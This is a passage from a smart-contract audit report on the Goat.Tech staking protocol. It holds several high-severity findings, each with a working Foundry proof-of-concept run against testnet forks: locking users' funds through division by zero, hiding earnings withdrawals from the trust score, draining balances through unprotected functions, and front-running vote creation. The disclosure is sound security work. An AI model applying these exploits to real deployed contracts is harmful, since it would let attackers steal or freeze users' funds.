        // Since I am limited by the testing environment I have provided a workaround test that gets
↪  the point across but requires Eve to stake via depositing ETH
        // This causes the difference in wsteth amounts to be larger than it would be on Arbitrum One
        // BUT, It is still a very tiny amount in this test ( 0.00000062 wsteth )
    }



    function test_SponsorDefintionViolated() public {
        vm.selectFork(fork);

        // John creates his pool and stakes 1 ETH for 720 days
        vm.startPrank(John);
        controller.ethStake{value: 1 ether}(payable(John), 720 days, 1000, 2000300, 1, 0);

        // Alice stakes 10 ETH for 300 days
        vm.startPrank(Alice);
        controller.ethStake{value: 10 ether}(payable(John), 300 days, 1000, 2000300, 1, 0);

        // Checks that Alice is the new Sponsor
        IProfile.SProfile memory initialSProfile = profile.profileOf(John);
        address InitialSponsor = initialSProfile.sponsor;
        assertTrue(InitialSponsor == Alice);

        // 7 days pass
        skip(7 days);

        // Eve stakes 60 ETH for 300 days
        vm.startPrank(Eve);
        controller.ethStake{value: 60 ether}(payable(John), 300 days, 1000, 2000300, 1, 0);

        // Checks that ALice is still the sponsor, even though Eve is contributing 6x
        IProfile.SProfile memory newSProfile = profile.profileOf(John);
        address newSponsor = newSProfile.sponsor;
        assertTrue(newSponsor == Alice);
        console.log("Sponsor after Eve staked 6x more than Alice: ", newSponsor);
    }


}
```

- Console Output

```
forge test --mt test_FormulaeDoesNotProtectEarlySponsors -vv
[] Compiling...
[] Compiling 1 files with 0.8.8
[] Solc 0.8.8 finished in 2.21s
Compiler run successful!

Ran 1 test for test/PoCFormulaeDoesNotProtectEarlySponsors.t.sol:Fork
[PASS] test_FormulaeDoesNotProtectEarlySponsors() (gas: 14356680)
Logs:
AliceStakedWstethAmount 8.704844042654857e15
EveStakedWstethAmount 8.705460551990722e15
DifferenceInStakedAmounts 6.16509335865e11

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 207.18s (204.62s CPU time)

Ran 1 test suite in 207.18s (207.18s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total
↪  tests)
```

- **Issue 2:** The current implementation of `_updateSponsor()` in `Controller.sol` contradicts a sponsor defintion as "*the staker with the highest staking power*", due to the incorrect formulae used.

  One of **many attack scenarios is**: Alice stakes 10 ETH for 300 days in John's pool, then later Eve stakes 60 ETH for 300 days in John's pool, Alice will still remain the sponsor of John's pool even though eve is contributing 6x more to the pool and has 6x her staking power. check PoC section for a full coded Poc of this scenario.

  The foundry test `test_SponsorDefintionViolated()` illustrates the above scenario. Run it with the following command line input

  ```
  forge test --mt test_SponsorDefintionViolated -vv
  ```

  - Console Output

    ```
    forge test --mt test_SponsorDefintionViolated -vv
    [] Compiling...
    [] Compiling 3 files with 0.8.8
    [] Solc 0.8.8 finished in 2.72s
    Compiler run successful!

    Ran 1 test for test/PoCFormulaeDoesNotProtectEarlySponsors.t.sol:Fork
    [PASS] test_SponsorDefintionViolated() (gas: 14268993)
    Logs:
    Sponsor after Eve staked 6x more than Alice:  0x71B61c2E250AFa05dFc36304D6c91501bE0965D8

    Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 211.11s (208.38s CPU time)

    Ran 1 test suite in 211.11s (211.11s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total
    ↪  tests)
    ```

Recommendation: Change the formulae when calculating sponsor advantage. Also do not provide a sponsor advantage to users after x period of time to make they system more fair

Goat: fixed. function ethStake(address payable poolOwner_, uint duration_, uint minSPercent_, uint poolConfigCode_, uint minWstethA_, uint wstethA_, bool mustBeSponsor_)

3.1.11 If pool owner withdraws 100% of earnings, poolusers will be permanently blocked from withdrawing staked funds

Submitted by Spearmint

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: If pool owner withdraws 100% of earnings, poolUsers will be permanently blocked from withdrawing staked funds, due to division by zero. The root cause is explained better in a sequence of steps:

`poolOwner` withdrawing 100% of earnings causes `earningBalance_ = 0`. 0 `earningBalance_` will update Fs = 0 by the following formulae:

```
function calFs(
    uint earningBalance_,
    uint maxEarning_
)
    internal
    pure
    returns(uint)
{
    uint max = maxEarning_;
    if (max < earningBalance_) {
        max = earningBalance_;
    }
    if (max == 0) {
        return LPercentage.DEMI;
    }
    return earningBalance_ * LPercentage.DEMI / max;
}
```

When a user now tries to withdraw locked ETH, that transaction will invoke the `_withdraw()` function inside `Locker.sol`, that will calculate the `receivedA` as follows:

```
uint receivedA = total * pastTime / duration;
```

Since Fs = 0, Duration will = 0 when being calculated by the following formulae:

```
function calDuration(
    SLock memory lockData_,
    uint fs_,
    bool isPoolOwner_
)
    internal
    pure
    returns(uint)
{
    uint mFactor = isPoolOwner_ ? 2 * LPercentage.DEMI - fs_ : fs_;
    uint duration = lockData_.duration * mFactor / LPercentage.DEMI;
    return duration;
}
```

Since `duration = 0`, going back to the `_withdraw()` function inside `Locker.sol` when calculating the `receivedA` it will divide by zero and result in the following error:

```
[FAIL. Reason: panic: division or modulo by zero (0x12)]
```

Impact: Pool Users will have permanently locked funds, thus high impact.

Likelihood: Any `poolOwner` can perform this by simply withdrawing all their earnings. This vulnerability does not prevent `poolOwners` from withdrawing their staked funds, so they will have no financial loss.

Proof of concept: The following foundry test illustrates a scenario where John withdraws his earnings and locks Alice's and Eve's staked funds.Run it with the following command line input:

```
forge test --mt test__IfPoolOwnerWithdrawsEarningsOthersCannotWithdrawLockedFunds -vv
```

```
// SPDX-License-Identifier: MIT
pragma solidity =0.8.8;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../contracts/Controller.sol";
import "../contracts/Profile.sol";
import "../contracts/DCT.sol";
import "../contracts/PoolFactory.sol";

import "../contracts/lib/LLocker.sol";

import "../contracts/interfaces/IPoolFactory.sol";
import "../contracts/interfaces/IProfile.sol";
import "../contracts/interfaces/IDCT.sol";
import "../contracts/interfaces/IVoting.sol";
import "../contracts/interfaces/IEthSharing.sol";

import "../contracts/modules/UseAccessControl.sol";
import "../contracts/modules/Earning.sol";
import "../contracts/modules/Locker.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import "../contracts/modules/DToken.sol";

contract Fork is Test {
    // GoatTech Contracts
    Controller controller;
    Profile profile;
    Locker locker;
    UseAccessControl useAccessControl;
    Earning earning;


    // Setup users
    address Whale = 0xD8Ea779b8FFC1096CA422D40588C4c0641709890;
```

```
    address Alice = 0x71B61c2E250AFa05dFc36304D6c91501bE0965D8;
    address Eve = 0xb2248390842d3C4aCF1D8A893954Afc0EAc586e5;
    address John = 0x0F7F6B308B5111EB4a86D44Dc90394b53A3aCe13;

    uint256 fork;

    function setUp() public {
        // Set up forked environment for Arbitrum Sepolia
        fork = vm.createFork("https://public.stackup.sh/api/v1/node/arbitrum-sepolia");

        // These addresses are the live GoatTech Contracts on Arbitrum Sepolia
        controller = Controller(payable(address(0xB4E5f0B2885F09Fd5a078D86E94E5D2E4b8530a7)));
        profile = Profile(0x7c25C3EDd4576B78b4F8aa1128320AE3d7204bEc);
        locker = Locker(0x0265850FE8A0615260a1008e1C1Df01DB394E74a);
        useAccessControl = UseAccessControl(0x588CF1494C5aC93796134E5e1827F58D2a8A9cDB);
        earning = Earning(0xf7a08a0728C583075852Be8B67E47DceB5c71d48);
    }

    function test__IfPoolOwnerWithdrawsEarningsOthersCannotWithdrawLockedFunds() public {
        vm.selectFork(fork);

        // John creates his own pool and stakes eth
        vm.startPrank(John);
        controller.ethStake{value: 10 ether}(payable(John), 30 days, 1000, 2000300, 1, 0);

        // check the total amount of wsteth John has staked in the pool
        LLocker.SLock memory reeSlock = locker.getLockData(John, John);
        uint JohnStakedWstethAmount = reeSlock.amount;
        console.log("JohnStakedWstethAmount", JohnStakedWstethAmount);

        // He gets other users to stake like Alice and Eve
        vm.startPrank(Alice);
        controller.ethStake{value: 100 ether}(payable(John), 30 days, 1000, 2000300, 1, 0);

        // check the total amount of wsteth Alice has staked in the pool
        LLocker.SLock memory reeeSlock = locker.getLockData(Alice, John);
        uint AliceStakedWstethAmount = reeeSlock.amount;
        console.log("AliceStakedWstethAmount", AliceStakedWstethAmount);

        vm.startPrank(Eve);
        controller.ethStake{value: 100 ether}(payable(John), 30 days, 1000, 2000300, 1, 0);

        // check john's earnings now
        uint256 johnTotalEarnings = earning.earningOf(John);
        console.log("John's earnings after users stake in his pool", johnTotalEarnings);

        // 30 days pass
        skip(30 days);

        // John withdraws earnings
        vm.startPrank(John);
        controller.earningWithdraw(true, earning.earningOf(John), payable(John), 1);

        // can ALice withdraw her locked funds?
        // NO it will revert
        vm.startPrank(Alice);
        locker.approveAdmin(address(controller));
        vm.expectRevert();
        controller.lockWithdraw(true, payable(John), AliceStakedWstethAmount, payable(Alice), false, 1);
    }
}
```

Console Output:

```
forge test --mt test__IfPoolOwnerWithdrawsEarningsOthersCannotWithdrawLockedFunds -vv
[] Compiling...
[] Compiling 2 files with 0.8.8
[] Solc 0.8.8 finished in 3.21s
Compiler run successful!

Ran 1 test for test/PoCOwnerLocksUsers.t.sol:Fork
[PASS] test__IfPoolOwnerWithdrawsEarningsOthersCannotWithdrawLockedFunds() (gas: 14340319)
Logs:
  JohnStakedWstethAmount 6671540705912181698
  AliceStakedWstethAmount 65984438710531168379
  John's earnings after users stake in his pool 5049570232408046637

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 207.91s (205.63s CPU time)

Ran 1 test suite in 207.91s (207.91s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommendation: If poolOwner's Fs = 0, then allow poolUsers to directly withdraw funds without calculating duration.

Goat: Fixed

3.1.12 Malicious poolowner can withdraw earnings without affecting trust score

Submitted by Spearmint

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Relevant Context:

```
Fs = Financial Stability  = ETH_Earning / Max_ETH_Earning
```

The core function of this protocol is to be a "Reputation standard", the following is extracted form the docs FAQ section:

> What is really your reputation/trustworthiness on Goat.Tech
>
> It's the ability to instil a belief in many people that you won't withdraw the majority of your earnings for a long time.

Normally if a user withdraws earnings their Fs will drop to = 0, this will cause their trust score to drop to = 0.

Description: There is a way for a malicious user to withdraw their earnings without affecting their trust score at all. It involves the following steps:

1. Use a second account to create a pool.
2. Configure the pool to have an Owner% of 99% .
3. When you want to withdraw earnings from the main account use the `reinvestEarnings` function to stake the earnings into the second account's pool.
4. Now since the pool has a 99% owner percentage, the second account's owner will receive 99% of the staked amount as earnings (dev team gets 1%).
5. Now withdraw the earnings from second account to main account's wallet.
6. This will not compromise the trust score at all, even though the pool owner has withdrawn all their earnings. See the proof of concept.

Impact: The issue breaks the core function of the protocol being a "reputation standard" and I have shown a simple way how a user can effectively withdraw their earnings without affecting the trust score.

The "Trust Score" cannot be trusted if it can be manipulated like this by bad actors.

Likelihood: It is a very simple attack to execute and any user could easily do this with negligible cost, see the proof of concept.

Proof of concept: The following foundry test `test__ReInvesthenWithdrawPoC()` illustrates the attack scenario. Run it with the following command line input:

```
forge test --mt test__ReInvesthenWithdrawPoC -vv
```

```
pragma solidity =0.8.8;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../contracts/Controller.sol";
import "../contracts/Profile.sol";
import "../contracts/DCT.sol";
import "../contracts/PoolFactory.sol";
import "../contracts/EthSharing.sol";

import "../contracts/lib/LLocker.sol";

import "../contracts/interfaces/IPoolFactory.sol";
import "../contracts/interfaces/IProfile.sol";
import "../contracts/interfaces/IDCT.sol";
import "../contracts/interfaces/IVoting.sol";
import "../contracts/interfaces/IEthSharing.sol";

import "../contracts/modules/UseAccessControl.sol";
import "../contracts/modules/Earning.sol";
import "../contracts/modules/Locker.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import "../contracts/modules/DToken.sol";

contract Fork is Test {
    // GoatTech Contracts
    Controller controller;
    Profile profile;
    Locker locker;
    UseAccessControl useAccessControl;
    Earning earning;
    DCT goat;
    Locker goatLocker;
    DToken Dp2pDToken;
    DToken trustScoreToken;
    PoolFactory poolFactory;
    EthSharing ethSharing;


    // Setup users
    address Whale = 0xD8Ea779b8FFC1096CA422D40588C4c0641709890;

    address Alice = 0x71B61c2E250AFa05dFc36304D6c91501bE0965D8;
    address Eve = 0xb2248390842d3C4aCF1D8A893954Afc0EAc586e5;
    address John = 0x0F7F6B308B5111EB4a86D44Dc90394b53A3aCe13;
    address John2ndAccount = 0x4c968f6bEecf1906710b08e8B472b8Ba6E75F957;

    uint256 fork;

    function setUp() public {
        // Set up forked environment for Arbitrum Sepolia
        fork = vm.createFork("https://public.stackup.sh/api/v1/node/arbitrum-sepolia");

        // These addresses are the live GoatTech Contracts on Arbitrum Sepolia
        controller = Controller(payable(address(0xB4E5f0B2885F09Fd5a078D86E94E5D2E4b8530a7)));
        profile = Profile(0x7c25C3EDd4576B78b4F8aa1128320AE3d7204bEc);
        locker = Locker(0x0265850FE8A0615260a1008e1C1Df01DB394E74a);
        useAccessControl = UseAccessControl(0x588CF1494C5aC93796134E5e1827F58D2a8A9cDB);
        earning = Earning(0xf7a08a0728C583075852Be8B67E47DceB5c71d48);
        goat = DCT(0x5Bfe38c9f309AED44DAa035abf69C80786355136);
        goatLocker = Locker(0x1033d5f886aef22fFADebf5f8c34088030Bb80f3);
        Dp2pDToken = DToken(0x72835409B8B49d83D8A710e67c906aE313D22860);
        trustScoreToken = DToken(0x8B64439A617bB1e85F83b97EA779eDEf49b9DCb2);
        poolFactory = PoolFactory(0x8E0cAeE3d94d5497744e2DB30Eec2D222739dF6D);
        ethSharing = EthSharing(0xe8330EcE50934EaC7457A712f9079d7775B04c9a);

    }

    function test__ReInvesthenWithdrawPoC() public {
```

```
        vm.selectFork(fork);

        // John creates his own account and stakes a lot of eth
        vm.startPrank(John);
        controller.ethStake{value: 100 ether}(payable(John), 720 days, 1000, 2000300, 1, 0);

        // John sets up his second account's pool by staking a small amount into it
        vm.startPrank(John2ndAccount);
        controller.ethStake{value: 0.002 ether}(payable(John2ndAccount), 30 days, 1000, 2000300, 1, 0);

        // John changes the owner% of John2ndAccount to 99%
        ethSharing.configPool(9999, 0);

        // He gets other users to stake like Alice and Eve
        vm.startPrank(Alice);
        controller.ethStake{value: 100 ether}(payable(John), 720 days, 1000, 2000300, 1, 0);

        vm.startPrank(Eve);
        controller.ethStake{value: 100 ether}(payable(John), 720 days, 1000, 2000300, 1, 0);

        // check john's trust score before withdrawing earnings
        IPoolFactory.SPool memory JohnsPoolsBefore = poolFactory.getPool(John);
        uint256 johnsTrustScoreBeforeWithdrawingEarnings =
↪   trustScoreToken.balanceOf(JohnsPoolsBefore.dctDistributor);
        console.log("John's trust score before withdrawing earnings", johnsTrustScoreBeforeWithdrawingEarnings
);

        // For the scenario I will clear John2ndAccount's current earnings to = 0
        vm.startPrank(John2ndAccount);
        controller.earningWithdraw(true, earning.earningOf(John2ndAccount), payable(John2ndAccount), 1);
        assertTrue(earning.earningOf(John2ndAccount) == 0);

        // check john's earnings after many poeple invested in his pool
        uint256 johnTotalEarnings = earning.earningOf(John);
        console.log("John'Total Earnings", johnTotalEarnings);

        // His earnings are high and he wants to withdraw
        // But if he does his trust score will go down
        // Instead he re invests to his setup second account John2ndAccount
        vm.startPrank(John);
        controller.earningReinvest(true, payable(John2ndAccount), 720 days, johnTotalEarnings, 1000, 99990000);

        // check john's trust score after re-investing
        IPoolFactory.SPool memory JohnsPoolsAfter = poolFactory.getPool(John);
        uint256 johnsTrustScoreAfterWithdrawingEarnings =
↪   trustScoreToken.balanceOf(JohnsPoolsAfter.dctDistributor);
        console.log("John's trust score after re-investing", johnsTrustScoreAfterWithdrawingEarnings);

        // The trust score is the same !!
        assertTrue(johnsTrustScoreBeforeWithdrawingEarnings == johnsTrustScoreAfterWithdrawingEarnings);

        // check that the reinvested amount is now in John2ndAccount earnings
        // 99% of John's earnings will now be in John2ndAccount earnings, 1% goes to the devTeam
        console.log("John's reinvested amount", johnTotalEarnings);
        uint256 John2ndAccountEarnings = earning.earningOf(John2ndAccount);
        console.log("John2ndAccount's earnings after john reinvested once", John2ndAccountEarnings);

        // Then john immediately withdraws all the earnings from his second account John2ndAccount
        vm.startPrank(John2ndAccount);
        controller.earningWithdraw(true, earning.earningOf(John2ndAccount), payable(John2ndAccount), 1);

        // This shows how John has easily withdrawn earnings without dropping his trust score
        // This breaks the core protocol functionality of beign a reputation standard
        // The "Trust Score" cannot be trusted if it can be manipulated like this by bad actors
    }
}
```

Console Output:

```
forge test --mt test__ReInvesthenWithdrawPoC -vv
[] Compiling...
[] Compiling 2 files with 0.8.8
[] Solc 0.8.8 finished in 3.43s
Compiler run successful!

Ran 1 test for test/PoCReinvesting.t.sol:Fork
[PASS] test__ReInvesthenWithdrawPoC() (gas: 19311988)
Logs:
  John's trust score before withdrawing earnings 954361232791632965478
  John'Total Earnings 8481190962402927140
  John's trust score after re-investing 954361232791632965478
  John's reinvested amount 8481190962402927140
  John2ndAccount's earnings after john reinvested once 83955826649182988800

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 218.16s (215.41s CPU time)

Ran 1 test suite in 218.16s (218.16s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommendation: Have an upper limit on the Owner% and User% to prevent this attack. I would recommend requiring `( Owner% + User% ) < 50%`.

Goat: Fixed

3.1.13 Anyone can steal protocol's llido assets and ether balance using its distributive functions

Submitted by 0xumarkhatab

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: Due to lack of access control on following functions, anyone can call these functions and steal the LLido reserves (which is converted to ether balance mostly) and smart contract's Ether balance.

- `Controller::claimRevenueShareDevTeam`:

```
function claimRevenueShareDevTeam()
    public
{
    address account = msg.sender;
    earningWithdrawDevTeam();
    _devTeam.claimFor(account, address(this));

    LLido.allToEth(0);
    payable(account).transfer(address(this).balance);
}
```

- `Controller::earningPulls` anyone can get all contract balance different account & `bountyPullerTo_`:

```
function earningPulls(
    address account_,
    address[] memory poolOwners_,
    address bountyPullerTo_
)
    public
    tryPublicMint
{
    _dEarning.clean();
    _eEarning.clean();

    // _eP2PDistributor.distribute();
    _dP2PDistributor.distribute();

    // _eDP2PDistributor.distribute();
    // _dDP2PDistributor.distribute();

    // _eDP2PDistributor.claimFor(account_, address(this));
    // _dDP2PDistributor.claimFor(account_, address(_dEarning));

    _distributorClaimFor(address(_eDP2PDistributor), account_, address(this));
    _distributorClaimFor(address(_dDP2PDistributor), account_, address(_dEarning));
```

```
        for(uint i = 0; i < poolOwners_.length; i++) {
            _earningPull(account_, poolOwners_[i]);
        }

        if (bountyPullerTo_ == account_) {
            _geth.transfer(address(_eEarning), _geth.balanceOf(address(this)));
        } else {
            uint256 amountForPuller = _geth.balanceOf(address(this)) * _bountyPullEarningPercent /
↪   LPercentage.DEMI;

            LLido.sellWsteth(amountForPuller);
            LLido.wethToEth();
            payable(bountyPullerTo_).transfer(address(this).balance);

            _geth.transfer(address(_eEarning), _geth.balanceOf(address(this)));
        }

        _dEarning.update(account_, true);
        _eEarning.update(account_, true);

        _reCalFs(account_);
    }
```

As these functions does not check the authority of `msg.sender`, and the internal calls are non-reverting if observed closely. So no one is keeping anyone calling these functions. When there are certain amount of reserves in the contract whether in the form of wrapped tokens or Ether balance and transfer all those assets to them.

Because the funds are being transferred to either directory to `msg.sender`:

```
address account = msg.sender;
// ...
// ...
payable(account).transfer(address(this).balance);
```

or the params that are controlled by `msg.sender`.

```
function earningPulls(
    address account_,
    address[] memory poolOwners_,
    address bountyPullerTo_
){

    // rest of the code
    payable(bountyPullerTo_).transfer(address(this).balance);
    // rest of the code

}
```

Additonally these functions are also subject to MEV so if any legit user is calling these functions, a MEV bot would pick this transaction from mempool simulate in their environment, and they will see they are gaining Ether. So they would make the same transaction by themselves and change the params accordingly and submit this transaction with higher gas fees potentially earning the funds.

The legit user's transaction will fail.

Recommendation: Implement access control on these function and the parameters passed to functions, e.g. require whether `msg.sender` & `bountyPuller` are authorized to call these functions.

Goat: Fixed

3.1.14 A malicious user can prevent vote creation at almost no cost

Submitted by b0g0

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: A staker in the GOAT protocol can raise a reputation challenge against any other staker. This happens by creating a vote, where the challenger (`attacker`) and the challenged (`defender`) are the 2 sides. The attacker locks wstETH in the `Voting.sol` contract proportional to the amount of the defender earnings he wants to freeze.

Vote creation happens through the `Controller.createVote()` function:

```
function createVote(
    address defender_,
    uint dEthValue_,
    uint voterPercent_,
    uint freezeDuration_,
    uint minWstethA_,
    uint wstethA_
)
    external
    payable
{
    require(_isPausedAttack == 0, "paused");

    address attacker = msg.sender;
    // _weth.deposit{value: address(this).balance}();
    _prepareWsteth(minWstethA_, wstethA_);
    uint aEthValue = _geth.balanceOf(address(this));

    require(defender_ != address(_devTeam));
    require(dEthValue_ >= _minDefenderFund, "dEthValue_ too small");
    require(voterPercent_ <= _maxVoterPercent, "voterPercent_ too high");
    require(freezeDuration_ >= _minFreezeDuration && freezeDuration_ <= _maxFreezeDuration, "freezeDuration_
↪  invalid");
    require(aEthValue <= dEthValue_ && aEthValue * LPercentage.DEMI / dEthValue_ >= _minAttackerFundRate,
↪  "aEthValue invalid");

    // ...
}
```

The following check is the one we should focus on, since it will be the one exploited:

```
require(aEthValue <= dEthValue_ && aEthValue * LPercentage.DEMI / dEthValue_ >= _minAttackerFundRate,
↪  "aEthValue invalid");
```

It basically makes sure that the amount locked by the `attacker` is <= than the amount frozen on the `defender`. And the attacker amount is calculated based on the balances like so:

```
uint aEthValue = _geth.balanceOf(address(this));
```

This makes it quite easy for an interested party to front-run the `createVote()` trx and transfer enough `wstETH` to the `Controller` contract , so that `aEthValue > dEthValue_` , which will revert it.

What makes this exploit even less costly for the malicious actor is that he can sandwich `createVote()` with another transaction right after it and withdrawal the wstETH he transferred in the first transaction.

He can do this by calling `Controller.earningWithdraw()`, which unwraps the `wstETH` balances sitting in `Controller` and sends them to the caller:

- Controller.sol#L617

```
function earningWithdraw(
    bool isEth_,
    uint amount_,
    address payable dest_,
    uint minEthA_
    // address[] memory pulledPoolOwners_
)
    public
{
    .....
    if (isEth_) {
        ....
        if (dest_ != address(this)) {
            LLido.allToEth(minEthA_); // <-- unwraps wstETH.balanceOf(address(this)) and sends it
            dest_.transfer(address(this).balance);
        }
    // ...
}
```

As a result the cost of the attack for the exploiter is reduced only to the gas fees for the 2 transactions, which is nothing.

Proof of concept: Since the protocol has no tests, I created a Foundry Project and wrote fork tests using the contracts deployed on Arbitrum Sepolia. The used Sepolia RPC provider is a demo one (I actually used Alchemy).

```
import "forge-std/Test.sol";
import {IERC20} from "openzeppelin-contracts/contracts/interfaces/IERC20.sol";

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.13;

interface IController {
    function ethStake(
        address payable poolOwner_,
        uint duration_,
        uint minSPercent_,
        uint poolConfigCode_,
        uint minWstethA_,
        uint wstethA_
    ) external payable;

    function dctStake(
        uint amount_,
        address payable poolOwner_,
        uint duration_
    ) external payable;

    function earningPulls(
        address account_,
        address[] memory poolOwners_,
        address bountyPullerTo_
    ) external;

    function lockWithdraw(
        bool isEth_,
        address payable poolOwner_,
        uint amount_,
        address payable dest_,
        bool isForced_,
        uint minEthA_
    ) external;

    function earningReinvest(
        bool isEth_,
        address payable poolOwner_,
        uint duration_,
        uint amount_,
        uint minSPercent_,
        uint poolConfigCode_
    ) external;

    function earningWithdraw(
        bool isEth_,
```

```
        uint amount_,
        address payable dest_,
        uint minEthA_
    ) external;

    function createVote(
        address defender_,
        uint dEthValue_,
        uint voterPercent_,
        uint freezeDuration_,
        uint minWstethA_,
        uint wstethA_
    ) external payable;

    function votingClaimFor(uint voteId_, address voter_) external;

    function earningWithdrawDevTeam() external;

    function claimRevenueShareDevTeam() external;

    function updateConfigs(uint[] memory values_) external;
}

interface IAccessControll {
    function approveAdmin(address admin_) external;
}

interface IVoting {
    struct SVoteBasicInfo {
        address attacker;
        address defender;
        uint aEthValue;
        uint dEthValue;
        uint voterPercent;
        uint aQuorum;
        uint startedAt;
        uint endAt;
        uint attackerPower;
        uint defenderPower;
        uint totalClaimed;
        bool isFinalized;
        bool isAttackerWon;
        uint winVal;
        uint winnerPower;
        bool isClosed;
    }

    function createVote(
        address attacker_,
        address defender_,
        uint aEthValue_,
        uint dEthValue_,
        uint voterPercent_,
        uint aQuorum_,
        uint startedAt_,
        uint endAt_
    ) external;

    function getVote(
        uint voteId_
    ) external view returns (SVoteBasicInfo memory);

    function claimFor(uint voteId_, address voter_) external;

    function defenderEarningFreezedOf(
        address account_
    ) external view returns (uint);
}

interface IEarning {
    function initEarning(
        address token_,
        address profileCAddr_,
        address accessControl_,
        string memory name_,
        string memory symbol_
```

```
    ) external;

    function updateMaxEarning(address account_, uint maxEarning_) external;

    function shareCommission(address account_) external;

    function update(address account_, bool needShareComm_) external;

    function withdraw(address account_, uint amount_, address dest_) external;

    function earningOf(address account_) external view returns (uint);

    function maxEarningOf(address account_) external view returns (uint);
}

contract TestContract is Test {
    uint256 chainFork;

    //contracts
    IController controller =
        IController(0xB4E5f0B2885F09Fd5a078D86E94E5D2E4b8530a7);
    IAccessControll dst_locker =
        IAccessControll(0x1033d5f886aef22fFADebf5f8c34088030Bb80f3);
    IVoting voting = IVoting(0x896604b21C6e9CbCE82e096266DCb5798cDDA67B);
    IEarning eEarning = IEarning(0xf7a08a0728C583075852Be8B67E47DceB5c71d48);

    //tokens
    IERC20 dP2PDToken = IERC20(0x72835409B8B49d83D8A710e67c906aE313D22860);
    IERC20 GOAT = IERC20(0x5Bfe38c9f309AED44DAa035abf69C80786355136);
    IERC20 WSTETH = IERC20(0x89840d36C96067DE8bd311d73802e3BC80877c2F);

    function setUp() public {
        // this is a free RPC endpoint, change it if not working
        chainFork = vm.createFork("https://sepolia-rollup.arbitrum.io/rpc");
    }


   function test_front_run_vote(uint256 amount) public {
        vm.selectFork(chainFork);

        address alice = address(100);
        address bob = address(150);

        deal(address(GOAT), alice, 100 ether);
        deal(address(GOAT), bob, 100 ether);

        // add 10 wstEth earnings for Bob
        deal(address(WSTETH), address(eEarning), 10806344879586039781);
        eEarning.update(bob, false);
        assertEq(eEarning.earningOf(bob), 10 ether);

        //add some wstEth balances to Bob & Alice
        deal(address(WSTETH), alice, 10 ether);
        deal(address(WSTETH), bob, 10 ether);

        vm.startPrank(alice);
        GOAT.approve(address(controller), 100 ether);
        WSTETH.approve(address(controller), 10 ether);
        vm.stopPrank();

        // create a snapshot of the state before the reputation challenge
        uint256 snapshot = vm.snapshot();

        // CASE-1 -> Alice Reputation Challenge Succeeds

        // Alice Opens Reputation Challenge against Bob
        vm.prank(alice);
        controller.createVote(bob, 8 ether, 1_000, 5 days, 0, 5 ether);
        // Alice has locked 5 ether
        assertEq(WSTETH.balanceOf(alice), 5 ether);
        // 8 ether of Bob earnings were locked
        assertEq(voting.defenderEarningFreezedOf(bob), 8 ether);

        // go back to snapshot and and reset state
        vm.revertTo(snapshot);
```

```
        // CASE-2 -> Bob front-runs Alice and reverts Reputation Challenge

        // state is reset
        assertEq(voting.defenderEarningFreezedOf(bob), 0);
        assertEq(WSTETH.balanceOf(alice), 10 ether);
        assertEq(eEarning.earningOf(bob), 10 ether);

        // Bob send enough wstETH to Controller and triggers validation failure
        vm.prank(bob);
        WSTETH.transfer(address(controller), 3 ether + 1 wei);
        // Alice Fails to create Reputation Challenge against Bob
        vm.prank(alice);
        vm.expectRevert("aEthValue invalid");
        controller.createVote(bob, 8 ether, 1_000, 5 days, 0, 5 ether);

        // Bob takes back his ETH
        vm.prank(bob);
        assertEq(bob.balance, 0);
        controller.earningWithdraw(true, 0, payable(bob), 0);

        // Bob gets unwrapped wstETH
        assertGe(bob.balance, 3 ether + 1 wei);
        // Bob has the other wstETH
        assertEq(WSTETH.balanceOf(bob), 10 ether - 3 ether - 1 wei);
    }
}
```

Recommendation:* Make `aEthValue` a parameter that is passed by the user and use it in the exploited check:

```
function createVote(
    address defender_,
    uint dEthValue_,
        uint aEthValue,   // <----- provided by user
    uint voterPercent_,
    uint freezeDuration_,
    uint minWstethA_,
    uint wstethA_
) external payable {

    // ...
    // this cannot be influenced by direct transfers
    require(aEthValue <= dEthValue_ && aEthValue * LPercentage.DEMI / dEthValue_ >= _minAttackerFundRate,
↪   "aEthValue invalid");

}
```

The transferFrom will fail in case the user did not provided the appropriate amount.

Goat: will fix

3.1.15 The `swapexactinputsinglehop` function in the llido library consistently fails

Submitted by merlin, also found by 0xrex, zigtur, deth, hals, Rotciv Egaf, 0xRizwan, Spearmint, ast3ros, smbv19192323, 0xblackskull, Said and 0xluckyy

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: The functions `LLido.allToWsteth`, `LLido.sellWsteth()`, and `LLido.allToEth()` are utilized in various parts of the `Controller` smart contract during the execution of `ethStake`, `earningPulls`, `lockWithdraw`, `earningWithdraw`, and other functions. These functions, in turn, invoke `swapExactInputSingleHop()`:

```
library LLido

function swapExactInputSingleHop(
    address tokenIn,
    address tokenOut,
    uint amountIn
)
    internal
    returns (uint amountOut) {
    ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
        .ExactInputSingleParams({
            tokenIn: tokenIn,
            tokenOut: tokenOut,
            fee: POOL_FEE,
            recipient: address(this),
            // deadline: block.timestamp,
            amountIn: amountIn,
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        });

    amountOut = router.exactInputSingle(params);
}
```

The value of `deadline` is commented out, but the `router`, where the `exactInputSingle` function is called, checks this value:

```
modifier checkDeadline(uint256 deadline) {
    require(_blockTimestamp() <= deadline, 'Transaction too old');
    _;
}
```

As a result, the protocol will not function properly, and essential functions will fail with the reason `Transaction too old`.

Recommendation: Consider passing the deadline value for the successful execution of the function:

```
  function swapExactInputSingleHop(
      address tokenIn,
      address tokenOut,
      uint amountIn,
+     uint deadline_
  )
      internal
      returns (uint amountOut) {
      ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
